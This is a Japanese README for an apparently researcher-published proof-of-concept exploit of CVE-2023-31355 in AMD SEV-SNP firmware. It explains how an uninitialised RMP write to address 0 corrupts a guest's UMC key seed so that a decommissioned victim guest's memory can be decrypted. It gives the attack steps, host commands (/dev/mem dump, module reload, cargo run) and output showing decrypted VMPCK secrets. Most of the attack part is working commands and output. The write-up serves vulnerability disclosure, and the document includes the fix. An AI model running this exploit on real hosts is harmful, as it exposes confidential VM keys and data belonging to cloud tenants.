
AMD SEV-SNPファームウェアの脆弱性(CVE-2023-31355)を悪用し、初期化されていないRMPエントリ書き込みをアドレス0に行うことでUMCキーシードを破損させ、廃止されたゲストの任意のメモリを復号するエクスプロイト。
このリポジトリには、SEVファームウェアの脆弱性を利用したエクスプロイトが含まれています。このエクスプロイトにより、SEV-SNPゲストのメモリを、ゲストがデコミッションされた後に任意に復号できます。
バージョン1.55.16(執筆時点での最新版)でテスト済みです。
snp_reclaim_buffer は、アドレスがRMPでカバーされていない場合でも、無条件にRMP変更を書き戻そうとします。address がRMPでカバーされていない場合、RMPエントリ page_rmp_paddr のアドレスは正しく初期化されず、初期値 0 のままになります。その結果、ファームウェアはRMPエントリの変更をアドレス 0 に書き戻そうとします。これは問題です。なぜなら、アドレス 0 はRMPでカバーされており、追加のチェックなしに書き込むべきではないからです。address がRMPカバー領域外の場合、page_rmp_entry は正しく初期化されず、スタックからのガベージメモリを含みます。このガベージメモリは実際には一定です。
このコードパターンについて正確に警告するコメントがあります。そのため、私がこの問題を最初に報告したのではないとしても驚かないでしょう。
snp_reclaim_buffer は、ハイパーバイザーがリングバッファモードの終了を要求したときに、SEVリングバッファのステータスページのアドレスを引数として呼び出されます。このアドレスは攻撃者が制御可能です。このアドレスにはいくつかのチェックがありますが、デフォルトページ(つまりRMPカバー領域外のページ)は明示的に許可されています。
アドレス 0 へのこの書き込みを悪用するには、そこにゲストコンテキストページを配置します。便利なことに、ゲストコンテキストページの最初のフィールドはUMCキーシードであり、RMPエントリとまったく同じサイズ(両方とも16バイト)です。ファームウェアを騙してアドレス 0 に変更を書き戻させることで、UMCキーシードを破壊できます。書き込まれる未初期化のRMPエントリは常に同じであるため、破壊されたUMCキーシードも常にほぼ同じになります。RMPエントリのサブページカウント(9ビット)は書き込まれませんが、他のすべてのフィールドは書き込まれます。新しいゲストコンテキストページを繰り返し作成することで、毎回異なるランダムな初期サブページカウントが得られるため、最終的に同じUMCキーシードを持つ複数のゲストを作成できます。
脆弱性を悪用するには、以下の手順を実行します:
0 にゲストコンテキストページを作成します。0 にゲストコンテキストページを作成します。SNP_DBG_ENCRYPT コマンドを使用して、攻撃者ゲストのコンテキストページを使って被害者ゲストのメモリを復号します。これは、被害者ゲストと攻撃者ゲストがUMCキーシードを共有しているため成功します。ゲストがデコミッションされた後でしかメモリを復号できないため、ゲストの秘密にアクセスできるにもかかわらず、偽のアテステーションレポートを作成することはできません。偽のアテステーションレポートを作成できるのは、ゲストがデコミッションされる前に別のホストにマイグレーションされた場合のみです。この場合、デコミッションされたゲストの秘密(VMPCKなど)は、新しくマイグレーションされたインスタンスでも機能します。
しかし実際には、多くのアプリケーションがこのエクスプロイトを使用して漏洩する可能性のある他の機密情報(秘密鍵、ディスク暗号化キーなど)を保存しています。
RMPエントリは、ページがデフォルト状態でない場合にのみ書き戻されるべきです。
root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
118402003190020000d0150701000000
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[ 463.851449] kvm_amd: Detected secret page at pfn 171a24
ccp、kvm、kvm_and カーネルモジュールをリロードします:
root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24
Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
[11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
Raw page:
000: 0300000000000000110fa0000000000000000000000000000000000082837143
020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000
Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 00000000000000000000000082837143
vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200
シークレットページには特別なものはなく、このエクスプロイトは通常のページの復号にも使用できます。PoCではシークレットページが使用されています。これは、被害者メモリの復号が成功したことを確認しやすいように、非常に認識しやすいコンテンツを持つからです。